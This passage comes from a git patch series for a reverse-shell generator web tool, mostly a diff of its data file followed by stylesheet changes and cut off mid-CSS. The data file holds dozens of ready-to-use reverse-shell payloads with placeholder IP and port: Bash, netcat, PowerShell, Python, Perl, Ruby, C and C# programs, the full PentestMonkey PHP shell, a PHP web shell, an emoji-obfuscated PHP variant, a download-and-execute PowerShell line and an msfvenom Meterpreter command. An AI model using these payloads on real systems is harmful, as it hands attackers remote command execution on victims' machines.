2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'], - ['PowerShell #2', 'powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient(\'{ip}\',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"'], - ['PowerShell #3 (Base64)', undefined], - ['Python #1', 'export RHOST="{ip}";export RPORT={port};python -c \'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("{shell}")\''], - ['Python #2', 'python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("{shell}")\''], - ['Ruby #1', 'ruby -rsocket -e\'f=TCPSocket.open("{ip}",{port}).to_i;exec sprintf("{shell} -i <&%d >&%d 2>&%d",f,f,f)\''], - ['Ruby no sh', 'ruby -rsocket -e \'exit if fork;c=TCPSocket.new("{ip}","{port}");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end\''], - ['socat #1', 'socat TCP:{ip}:{port} EXEC:{shell}'], - ['socat #2 (TTY)', 'socat TCP:{ip}:{port} EXEC:\'{shell}\',pty,stderr,setsid,sigint,sane'], - ['awk', 'awk \'BEGIN {s = "/inet/tcp/0/{ip}/{port}"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}\' /dev/null'], - ['node.js', 'require(\'child_process\').exec(\'nc -e {shell} {ip} {port}\')'], - ['Java #1','import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec("bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}'], - ['Haskell #1','module Main where\n\nimport System.Process\n\nmain = callCommand "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f"'], - ['telnet', 'TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF'], - ], specialCommands: { 'PowerShell payload': '$client = New-Object System.Net.Sockets.TCPClient("{ip}",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()' }, - commands: [ + + reverseShellCommands: [ { - name: 'Bash -i', - command: '{shell} -i >& /dev/tcp/{ip}/{port} 0>&1', - meta: ['linux', 'windows', 'mac'] + "name": "Bash -i", + "command": "{shell} -i >& /dev/tcp/{ip}/{port} 0>&1", + "meta": ["linux", "mac"] }, { - name: 'Bash 196', - command: '0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196', - meta: ['windows', 'mac'] - }, - { - name: 'Bash read line', - command: 'exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done', - meta: ['linux', 'mac'] - }, - ] + "name": "Bash 196", + "command": "0<&196;exec 196<>/dev/tcp/{ip}/{port}; {shell} <&196 >&196 2>&196", + "meta": ["linux", "mac"] + }, + { + "name": "Bash read line", + "command": "exec 5<>/dev/tcp/{ip}/{port};cat <&5 | while read line; do $line 2>&5 >&5; done", + "meta": ["linux", "mac"] + }, + { + "name": "Bash 5", + "command": "{shell} -i 5<> /dev/tcp/{ip}/{port} 0<&5 1>&5 2>&5", + "meta": ["linux", "mac"] + }, + { + "name": "Bash udp", + "command": "{shell} -i >& /dev/udp/{ip}/{port} 0>&1", + "meta": ["linux", "mac"] + }, + { + "name": "C", + "command": "#include <stdio.h>\n#include <sys/socket.h>\n#include <sys/types.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <netinet/in.h>\n#include <arpa/inet.h>\n\nint main(void){\n int port = {port};\n struct sockaddr_in revsockaddr;\n\n int sockt = socket(AF_INET, SOCK_STREAM, 0);\n revsockaddr.sin_family = AF_INET; \n revsockaddr.sin_port = htons(port);\n revsockaddr.sin_addr.s_addr = inet_addr(\"{ip}\");\n\n connect(sockt, (struct sockaddr *) &revsockaddr, \n sizeof(revsockaddr));\n dup2(sockt, 0);\n dup2(sockt, 1);\n dup2(sockt, 2);\n\n char * const argv[] = {\"{shell}\", NULL};\n execve(\"{shell}\", argv, NULL);\n\n return 0; \n}", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "C#", + "command": "using System;\nusing System.Text;\nusing System.IO;\nusing System.Diagnostics;\nusing System.ComponentModel;\nusing System.Linq;\nusing System.Net;\nusing System.Net.Sockets;\n\n\nnamespace ConnectBack\n{\n\tpublic class Program\n\t{\n\t\tstatic StreamWriter streamWriter;\n\n\t\tpublic static void Main(string[] args)\n\t\t{\n\t\t\tusing(TcpClient client = new TcpClient(\"10.0.2.15\", 443))\n\t\t\t{\n\t\t\t\tusing(Stream stream = client.GetStream())\n\t\t\t\t{\n\t\t\t\t\tusing(StreamReader rdr = new StreamReader(stream))\n\t\t\t\t\t{\n\t\t\t\t\t\tstreamWriter = new StreamWriter(stream);\n\t\t\t\t\t\t\n\t\t\t\t\t\tStringBuilder strInput = new StringBuilder();\n\n\t\t\t\t\t\tProcess p = new Process();\n\t\t\t\t\t\tp.StartInfo.FileName = \"cmd.exe\";\n\t\t\t\t\t\tp.StartInfo.CreateNoWindow = true;\n\t\t\t\t\t\tp.StartInfo.UseShellExecute = false;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardOutput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardInput = true;\n\t\t\t\t\t\tp.StartInfo.RedirectStandardError = true;\n\t\t\t\t\t\tp.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);\n\t\t\t\t\t\tp.Start();\n\t\t\t\t\t\tp.BeginOutputReadLine();\n\n\t\t\t\t\t\twhile(true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tstrInput.Append(rdr.ReadLine());\n\t\t\t\t\t\t\t//strInput.Append(\"\\n\");\n\t\t\t\t\t\t\tp.StandardInput.WriteLine(strInput);\n\t\t\t\t\t\t\tstrInput.Remove(0, strInput.Length);\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tprivate static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)\n {\n StringBuilder strOutput = new StringBuilder();\n\n if (!String.IsNullOrEmpty(outLine.Data))\n {\n try\n {\n strOutput.Append(outLine.Data);\n streamWriter.WriteLine(strOutput);\n streamWriter.Flush();\n }\n catch (Exception err) { }\n }\n }\n\n\t}\n}", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "nc mkfifo", + "command": "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|{shell} -i 2>&1|nc {ip} {port} >/tmp/f", + "meta": ["linux", "mac"] + }, + { + "name": "nc -e", + "command": "nc -e {shell} {ip} {port}", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "nc -c", + "command": "nc -c {shell} {ip} {port}", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "ncat -e", + "command": "ncat {ip} {port} -e {shell} ", + "meta": ["linux", "mac"] + }, + { + "name": "ncat udp", + "command": "ncat {ip} {port} -e {shell}", + "meta": ["linux", "mac"] + }, + { + "name": "Emoji PHP", + "command": "php -r '$๐Ÿ˜€=\"1\";$๐Ÿ˜=\"2\";$๐Ÿ˜…=\"3\";$๐Ÿ˜†=\"4\";$๐Ÿ˜‰=\"5\";$๐Ÿ˜Š=\"6\";$๐Ÿ˜Ž=\"7\";$๐Ÿ˜=\"8\";$๐Ÿ˜š=\"9\";$๐Ÿ™‚=\"0\";$๐Ÿคข=\" \";$๐Ÿค“=\"<\";$๐Ÿค =\">\";$๐Ÿ˜ฑ=\"-\";$๐Ÿ˜ต=\"&\";$๐Ÿคฉ=\"i\";$๐Ÿค”=\".\";$๐Ÿคจ=\"/\";$๐Ÿฅฐ=\"a\";$๐Ÿ˜=\"b\";$๐Ÿ˜ถ=\"i\";$๐Ÿ™„=\"h\";$๐Ÿ˜‚=\"c\";$๐Ÿคฃ=\"d\";$๐Ÿ˜ƒ=\"e\";$๐Ÿ˜„=\"f\";$๐Ÿ˜‹=\"k\";$๐Ÿ˜˜=\"n\";$๐Ÿ˜—=\"o\";$๐Ÿ˜™=\"p\";$๐Ÿค—=\"s\";$๐Ÿ˜‘=\"x\";$๐Ÿ’€ = $๐Ÿ˜„. $๐Ÿค—. $๐Ÿ˜—. $๐Ÿ˜‚. $๐Ÿ˜‹. $๐Ÿ˜—. $๐Ÿ˜™. $๐Ÿ˜ƒ. $๐Ÿ˜˜;$๐Ÿš€ = \"{ip}\";$๐Ÿ’ป = {port};$๐Ÿš = \"{shell}\". $๐Ÿคข. $๐Ÿ˜ฑ. $๐Ÿคฉ. $๐Ÿคข. $๐Ÿค“. $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…. $๐Ÿคข. $๐Ÿ˜. $๐Ÿค . $๐Ÿ˜ต. $๐Ÿ˜…;$๐Ÿคฃ = $๐Ÿ’€($๐Ÿš€,$๐Ÿ’ป);$๐Ÿ‘ฝ = $๐Ÿ˜ƒ. $๐Ÿ˜‘. $๐Ÿ˜ƒ. $๐Ÿ˜‚;$๐Ÿ‘ฝ($๐Ÿš);'", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "Perl", + "command": "perl -e 'use Socket;$i=\"{ip}\";$p={port};socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"{shell} -i\");};'", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "Perl no sh", + "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"{port}:{port}\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "PHP PentestMonkey", + "command": "<?php\n// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php\n// Copyright (C) 2007 pentestmonkey@pentestmonkey.net\n\nset_time_limit (0);\n$VERSION = \"1.0\";\n$ip = '{ip}';\n$port = {port};\n$chunk_size = 1400;\n$write_a = null;\n$error_a = null;\n$shell = 'uname -a; w; id; {shell} -i';\n$daemon = 0;\n$debug = 0;\n\nif (function_exists('pcntl_fork')) {\n\t$pid = pcntl_fork();\n\t\n\tif ($pid == -1) {\n\t\tprintit(\"ERROR: Can't fork\");\n\t\texit(1);\n\t}\n\t\n\tif ($pid) {\n\t\texit(0); // Parent exits\n\t}\n\tif (posix_setsid() == -1) {\n\t\tprintit(\"Error: Can't setsid()\");\n\t\texit(1);\n\t}\n\n\t$daemon = 1;\n} else {\n\tprintit(\"WARNING: Failed to daemonise. This is quite common and not fatal.\");\n}\n\nchdir(\"/\");\n\numask(0);\n\n// Open reverse connection\n$sock = fsockopen($ip, $port, $errno, $errstr, 30);\nif (!$sock) {\n\tprintit(\"$errstr ($errno)\");\n\texit(1);\n}\n\n$descriptorspec = array(\n 0 => array(\"pipe\", \"r\"), // stdin is a pipe that the child will read from\n 1 => array(\"pipe\", \"w\"), // stdout is a pipe that the child will write to\n 2 => array(\"pipe\", \"w\") // stderr is a pipe that the child will write to\n);\n\n$process = proc_open($shell, $descriptorspec, $pipes);\n\nif (!is_resource($process)) {\n\tprintit(\"ERROR: Can't spawn shell\");\n\texit(1);\n}\n\nstream_set_blocking($pipes[0], 0);\nstream_set_blocking($pipes[1], 0);\nstream_set_blocking($pipes[2], 0);\nstream_set_blocking($sock, 0);\n\nprintit(\"Successfully opened reverse shell to $ip:$port\");\n\nwhile (1) {\n\tif (feof($sock)) {\n\t\tprintit(\"ERROR: Shell connection terminated\");\n\t\tbreak;\n\t}\n\n\tif (feof($pipes[1])) {\n\t\tprintit(\"ERROR: Shell process terminated\");\n\t\tbreak;\n\t}\n\n\t$read_a = array($sock, $pipes[1], $pipes[2]);\n\t$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);\n\n\tif (in_array($sock, $read_a)) {\n\t\tif ($debug) printit(\"SOCK READ\");\n\t\t$input = fread($sock, $chunk_size);\n\t\tif ($debug) printit(\"SOCK: $input\");\n\t\tfwrite($pipes[0], $input);\n\t}\n\n\tif (in_array($pipes[1], $read_a)) {\n\t\tif ($debug) printit(\"STDOUT READ\");\n\t\t$input = fread($pipes[1], $chunk_size);\n\t\tif ($debug) printit(\"STDOUT: $input\");\n\t\tfwrite($sock, $input);\n\t}\n\n\tif (in_array($pipes[2], $read_a)) {\n\t\tif ($debug) printit(\"STDERR READ\");\n\t\t$input = fread($pipes[2], $chunk_size);\n\t\tif ($debug) printit(\"STDERR: $input\");\n\t\tfwrite($sock, $input);\n\t}\n}\n\nfclose($sock);\nfclose($pipes[0]);\nfclose($pipes[1]);\nfclose($pipes[2]);\nproc_close($process);\n\nfunction printit ($string) {\n\tif (!$daemon) {\n\t\tprint \"$string\\n\";\n\t}\n}\n\n?>", + "meta": ["linux", "windows", "mac"] + }, + { + // fix + "name": "PHP cmd", + "command": "<html>\n<body>\n<form method=\"GET\" name=\"<?php echo basename($_SERVER[\'PHP_SELF\']); ?>\">\n<input type=\"TEXT\" name=\"cmd\" id=\"cmd\" size=\"80\">\n<input type=\"SUBMIT\" value=\"Execute\">\n<\/form>\n<pre>\n<?php\n if(isset($_GET[\'cmd\']))\n {\n system($_GET[\'cmd\']);\n }\n?>\n<\/pre>\n<\/body>\n<script>document.getElementById(\"cmd\").focus();<\/script>\n<\/html>", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "PHP exec", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});exec(\"{shell} <&3 >&3 2>&3\");'", + "meta": ["linux",, "mac"] + }, + { + "name": "PHP shell_exec", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});shell_exec(\"{shell} <&3 >&3 2>&3\");'", + "meta": ["linux", "mac"] + }, + { + "name": "PHP system", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});system(\"{shell} <&3 >&3 2>&3\");'", + "meta": ["linux", "mac"] + }, + { + "name": "PHP passthru", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});passthru(\"{shell} <&3 >&3 2>&3\");'", + "meta": ["linux", "mac"] + }, + { + "name": "PHP `", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});`{shell} <&3 >&3 2>&3`;'", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "PHP popen", + "command": "php -r '$sock=fsockopen(\"{ip}\",{port});popen(\"{shell} <&3 >&3 2>&3\", \"r\");'", + "meta": ["linux", "windows", "mac"] + }, + { + "name": "Windows ConPty", + "command": "IEX(IWR https://raw.githubusercontent.com/antonioCoco/ConPtyShell/master/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell {ip} {port}", + "meta": [] + }, + { + "name": "PowerShell #1", + "command": "powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient(\"{ip}\",{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \"PS \" + (pwd).Path + \"> \";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()", + "meta": [] + }, + { + "name": "PowerShell #2", + "command": "powershell -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('{ip}',{port});$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"", + "meta": [] + }, + { + "name": "PowerShell #3 (Base64)", + "meta": [] + }, + { + "name": "Python #1", + "command": "export RHOST=\"{ip}\";export RPORT={port};python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv(\"RHOST\"),int(os.getenv(\"RPORT\"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"{shell}\")'", + "meta": [] + }, + { + "name": "Python #2", + "command": "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{ip}\",{port}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"{shell}\")'", + "meta": [] + }, + { + "name": "Ruby #1", + "command": "ruby -rsocket -e'f=TCPSocket.open(\"{ip}\",{port}).to_i;exec sprintf(\"{shell} -i <&%d >&%d 2>&%d\",f,f,f)'", + "meta": [] + }, + { + "name": "Ruby no sh", + "command": "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"{ip}\",\"{port}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", + "meta": [] + }, + { + "name": "socat #1", + "command": "socat TCP:{ip}:{port} EXEC:{shell}", + "meta": [] + }, + { + "name": "socat #2 (TTY)", + "command": "socat TCP:{ip}:{port} EXEC:'{shell}',pty,stderr,setsid,sigint,sane", + "meta": [] + }, + { + "name": "awk", + "command": "awk 'BEGIN {s = \"/inet/tcp/0/{ip}/{port}\"; while(42) { do{ printf \"shell>\" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null", + "meta": [] + }, + { + "name": "node.js", + "command": "require('child_process').exec('nc -e {shell} {ip} {port}')", + "meta": [] + }, + { + "name": "Java #1", + "command": "import java.io.BufferedReader;\nimport java.io.InputStreamReader;\n\npublic class shell {\n public static void main(String args[]) {\n String s;\n Process p;\n try {\n p = Runtime.getRuntime().exec(\"bash -c $@|bash 0 echo bash -i >& /dev/tcp/{ip}/{port} 0>&1\");\n p.waitFor();\n p.destroy();\n } catch (Exception e) {}\n }\n}", + "meta": [] + }, + { + "name": "Haskell #1", + "command": "module Main where\n\nimport System.Process\n\nmain = callCommand \"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | {shell} -i 2>&1 | nc {ip} {port} >/tmp/f\"", + "meta": [] + }, + { + "name": "telnet", + "command": "TF=$(mktemp -u);mkfifo $TF && telnet {ip} {port} 0<$TF | {shell} 1>$TF", + "meta": [] + }, + { + // testing.. need to move into MSFVenom. Another aray...? + "name": "Windows Meterpreter Staged Reverse TCP", + "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={ip} LPORT={port} -f exe > reverse.exe", + "meta": ["msfvenom", "windows", "meterpreter", "reverse"] + }, + ], + + // msfvenom: [{ + // "name": "Windows Meterpreter Staged Reverse TCP", + // "command": "msfvenom -p windows/meterpreter/reverse_tcp LHOST={IP} LPORT={port} -f exe > reverse.exe", + // "meta": ["msfvenom", "windows", "meterpreter", "reverse"] + // }, + + // ], + } From 3204820e47edcaa2c62d09ae7ec486f7ae08d124 Mon Sep 17 00:00:00 2001 From: briskets Date: Sun, 14 Mar 2021 17:55:08 -0400 Subject: [PATCH 3/6] bind and msfvenom add --- css/dark-mode.css | 29 ++- css/dark-mode.min.css | 2 +- css/light-mode.css | 35 +++- css/light-mode.min.css | 2 +- index.html | 445 ++++++++++++++++++++++++++++++++--------- js/data.js | 204 ++++++++++++++----- 6 files changed, 566 insertions(+), 151 deletions(-) diff --git a/css/dark-mode.css b/css/dark-mode.css index 6151e2b..6cffc05 100644 --- a/css/dark-mode.css +++ b/css/dark-mode.css @@ -21,6 +21,18 @@ cursor: pointer; user-select: none; } +.nav-tabs { + border-bottom: none !important; +} + +.nav-tabs .nav-link:hover { + background-color: #375a7f; +} + +.nav-tabs .nav-link.active { + background-color: #375a7f; +} + _:-ms-fullscreen, :root body { @@ -42,6 +54,21 @@ _:-ms-fullscreen, max-height: 20rem; } +#bind-shell-command { + border: none !important; + border-radius: 5px; + box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); + background-color: rgb(70, 70, 70); + max-height: 20rem; +} + +#msfvenom-command { + border: none !important; + border-radius: 5px; + box-shadow: 10px 10px 20px 0px rgba(0, 0, 0, 0.75); + background-color: rgb(70, 70, 70); + max-height: 20rem; +} .custom-select { background-color: #646464; @@ -72,4 +99,4 @@ h2 { .list-group-item-action:focus, .list-group-item-action:hover { background-color: #375a7f; -} \ No newline at end of file +} diff --git a/css/dark-mode.min.css b/css/dark-mode.min.css index 96c967f..e6b70a8 100644 --- a/css/dark-mode.min.css +++ b/css/dark-mode.min.css @@ -1 +1 @@ -.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f} \ No newline at end of file +.prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em}.highlighted-parameter{color:#c0c0ba;font-weight:700;font-size:1em}.highlighted-warning{color:red;font-weight:700}.custom-switch label{cursor:pointer;user-select:none}.nav-tabs{border-bottom:none!important}.nav-tabs .nav-link:hover{background-color:#375a7f}.nav-tabs .nav-link.active{background-color:#375a7f}_:-ms-fullscreen,:root body{overflow-y:scroll}#listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75)}#reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#bind-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}#msfvenom-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(0,0,0,.75);background-color:#464646;max-height:20rem}.custom-select{background-color:#646464;color:#fff}.container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(0,0,0,.75);height:100%!important}h2{color:#fff;text-align:center}.pre-wrap{white-space:pre-wrap}.card-body{max-height:40rem}.list-group-item-action:focus,.list-group-item-action:hover,.list-group-item.active{background-color:#375a7f} \ No newline at end of file diff --git a/css/light-mode.css b/css/light-mode.css index edde325..dcf4916 100644 --- a/css/light-mode.css +++ b/css/light-mode.css @@ -85,12 +85,45 @@ Ain't got time for using CSS the right way. !important everything! max-height: 20rem; } +[data-theme="light"] #bind-shell-command { + border: none !important; + border-radius: 5px; + box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); + background-color: rgb(45, 139, 135); + color: #000; + max-height: 20rem; +} + +[data-theme="light"] #msfvenom-command { + border: none !important; + border-radius: 5px; + box-shadow: 10px 10px 20px 0px rgba(153, 28, 143, 0.75); + background-color: rgb(45, 139, 135); + color: #000; + max-height: 20rem; +} + [data-theme="light"] .custom-select { background-color: #f1c6ce; color: #000; border-color: #a56096; } +[data-theme="light"] .nav-link { + color: #000; + background: transparent; + box-shadow: 5px 5px 5px 0px rgba(153, 28, 143, 0.75); +} + +[data-theme="light"] .nav-link:hover { + background-color: #7223b5; +} + +[data-theme="light"] .nav-link.active { + background-color: #a56096; + color:#000; +} + [data-theme="light"] .custom-control-input:checked { color: #000; } @@ -289,4 +322,4 @@ Ain't got time for using CSS the right way. !important everything! 100% { color: orange; } -} \ No newline at end of file +} diff --git a/css/light-mode.min.css b/css/light-mode.min.css index 964b486..8a7ee47 100644 --- a/css/light-mode.min.css +++ b/css/light-mode.min.css @@ -1 +1 @@ -[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] .custom-select{background-color:#f1c6ce;color:#000;border-color:#a56096}[data-theme=light] .custom-control-input:checked{color:#000}[data-theme=light] a{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item{background-color:#f1c6ce;color:#000}[data-theme=light] .list-group-item.active{background-color:#a56096;border-color:#000}[data-theme=light] .list-group-item:hover{background-color:#a56096}[data-theme=light] .list-group-item.hover{background-color:rgba(153,28,143,.75)}[data-theme=light] .container{padding:10px;border-radius:20px;box-shadow:10px 0 20px 0 rgba(153,28,143,.75);max-height:1000px}[data-theme=light] .card-title{color:#000!important}[data-theme=light] .custom-control-label{color:#000}[data-theme=light] h2{color:#fff;text-align:center}[data-theme=light] .pre-wrap{white-space:pre-wrap}[data-theme=light] .card-body{max-height:40rem}@font-face{font-family:"Comic Mono";src:url(../assets/ComicMono.ttf)}@-webkit-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@-ms-keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}}@keyframes rainbow{0%{color:orange}10%{color:purple}20%{color:red}30%{color:#5f9ea0}40%{color:#ff0}50%{color:coral}60%{color:green}70%{color:#0ff}80%{color:#ff1493}90%{color:#1e90ff}100%{color:orange}} \ No newline at end of file +[data-theme=light]{background-color:pink!important}[data-theme=light] .card{background-color:#af8bad!important;color:#000}[data-theme=light] .bg-white{background-color:#ddd7d7!important}[data-theme=light] .bg-dark{background-color:#e7d4e0!important}[data-theme=light] .rainbow{text-shadow:2px 2px 4px #000;font-size:40px;-webkit-animation:rainbow 5s infinite;-ms-animation:rainbow 5s infinite;animation:rainbow 5s infinite;font-family:'Comic Mono'}[data-theme=light] .prompt-sign{position:absolute;top:25px;left:40px;pointer-events:none;font-size:1em;color:#2e3e86}[data-theme=light] .input-group-text{background-color:#f1c6ce;color:#000}[data-theme=light] .btn{background-color:#a56096;color:#000;border-color:#a56096}[data-theme=light] .highlighted-parameter{color:#7223b5;font-weight:700;font-size:1em}[data-theme=light] .highlighted-warning{color:red;font-weight:700}[data-theme=light] .custom-switch label{cursor:pointer;user-select:none}[data-theme=light] .custom-control-input:checked~.custom-control-label::before{background-color:#7223b5}[data-theme=light] #listener-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000}[data-theme=light] #reverse-shell-command{border:none!important;border-radius:5px;box-shadow:10px 10px 20px 0 rgba(153,28,143,.75);background-color:#2d8b87;color:#000;max-height:20rem}[data-theme=light] 